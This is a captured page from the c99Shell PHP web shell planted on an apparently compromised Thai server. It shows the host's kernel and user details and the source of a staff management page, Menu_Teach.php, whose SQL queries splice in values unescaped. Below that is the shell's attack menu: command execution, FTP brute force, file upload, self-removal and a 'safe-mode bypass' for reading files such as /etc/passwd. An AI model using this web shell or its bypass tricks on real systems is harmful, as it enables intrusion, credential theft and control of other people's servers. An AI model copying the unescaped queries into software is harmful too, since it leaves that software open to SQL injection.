!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Menu_Teach.php (14.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
        
        
$Username $valid_user;

        
$query " SELECT *  FROM $myTable  WHERE Username='$Username' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchObject($result);
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<title>ข้อมูลทั่วไปบุคลากร</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td height="5" colspan="2"></td>
      </tr>
      <tr>
        <td width="570" height="30" background="../images/background/bg-head-topic.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a> &raquo; ข้อมูลทั่วไปบุคลากร</strong></td>
        <td width="210">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td height="385" colspan="2" align="center" valign="top"><table width="95%" border="0" cellspacing="1" cellpadding="1">
          <?php
                  $sql2 
" SELECT *  FROM tech_plan_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result2 $dbObj->execQuery($sql2);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td width="4%" height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td width="76%"><a href="PlanList.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลแผนการสอน</a></td>
            <td width="20%" align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result2);
            
?></td>
          </tr>
          <?php
                  $sql3 
" SELECT *  FROM research_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result3 $dbObj->execQuery($sql3);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="ResearchByYear.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลงานวิจัย</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result3);
            
?></td>
          </tr>
          <?php
                  $sql4 
" SELECT *  FROM training_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result4 $dbObj->execQuery($sql4);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="TrainingList.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลการพัฒนาบุคลากร</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result4);
            
?></td>
          </tr>
          <?php
                  $sql5 
" SELECT *  FROM committee_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result5 $dbObj->execQuery($sql5);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="CommitteeMe.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลการเป็นกรรมการบริการแก่สังคม</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result5);
            
?></td>
          </tr>
          <?php
                  $sql6 
" SELECT *  FROM edu_product_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result6 $dbObj->execQuery($sql6);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="Edu_ProductMe.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลผลงานทางวิชาการ</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result6);
            
?></td>
          </tr>
          <?php
                  $sql7 
" SELECT *  FROM project_type_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result7 $dbObj->execQuery($sql7);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="PlaningByYear.php?Teacher_code=<?=$rs->Teacher_code;?>&amp;Faculty_code=<?=$rs->Faculty_code;?>">ข้อมูลแผนดำเนินการ</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result7);
            
?></td>
          </tr>
          <?php
                  $sql8 
" SELECT *  FROM manament_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result8 $dbObj->execQuery($sql8);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td>ข้อมูลการแจ้งซ่อมบำรุง</td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result8);
            
?></td>
          </tr>
          <?php
                 $sql9 
" SELECT *  FROM bookmant_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result9 $dbObj->execQuery($sql9);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td>ข้อมูลหนังสือรับ-ส่งราชการ</td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result9);
            
?></td>
          </tr>
          <?php
                $sql10 
" SELECT *  FROM history_absent_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result10 $dbObj->execQuery($sql10);
                
$numrows $dbObj->_numrows;          
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="AbsentByYear.php?Teacher_code=<?=$rs->Teacher_code;?>">ข้อมูลประวัติการลาของบุคลากร</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result10);
            
?></td>
          </tr>
          <?php
                $sql11 
" SELECT *  FROM accessories_tb  WHERE Faculty_code='$rs->Faculty_code' ";
                
$result11 $dbObj->execQuery($sql11);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td>ข้อมูลครุภัณฑ์ของหน่วยงาน</td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result11);
            
?></td>
          </tr>
          <?php
                $sql12 
" SELECT *  FROM personal_den_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result12 $dbObj->execQuery($sql12);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td>ข้อมูลระบบงานทันตกรรม (แสดงเฉพาะทันตแพทย์ที่ทำคลินิค)</td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result12);
            
?></td>
          </tr>
          <?php
                  $sql13 
" SELECT *  FROM formation_tb  WHERE Teacher_code='$rs->Teacher_code' ";
                
$result13 $dbObj->execQuery($sql13);
                
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td><a href="InformationList.php?Teacher_code=<?=$rs->Teacher_code;?>">แจ้งข่าวประชาสัมพันธ์</a></td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result13);
            
?></td>
          </tr>
          <?php
              $sql14 
" SELECT *  FROM formation_tb  WHERE Teacher_code='$rs->Teacher_code' ";
            
$result14 $dbObj->execQuery($sql14);
            
$numrows $dbObj->_numrows;
          
?>
          <tr>
            <td height="20" align="center"><img src="../images/icons/expand.gif" width="11" height="11" align="absmiddle" /></td>
            <td>แจ้งซ่อมเครือข่ายและอุปกรณ์คอมพิวเตอร์</td>
            <td align="right" style="padding-right:25px;"><?php 
                
if ( $numrows == ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                    echo
"ยังไม่ข้อมูล";
                    echo
"</font>";
                }
                else if ( 
$numrows  ) {
                    echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                    echo
"$numrows  &nbsp;<font face=\"Tahoma\" Size=\"2\" color=\"#000000\">รายการ</font>";
                    echo
"</font>";
                } 
                
$dbObj->freeresult($result14);
            
?></td>
          </tr>
        </table>
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td>&nbsp;</td>
            </tr>
          </table></td>
      </tr>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0078 ]--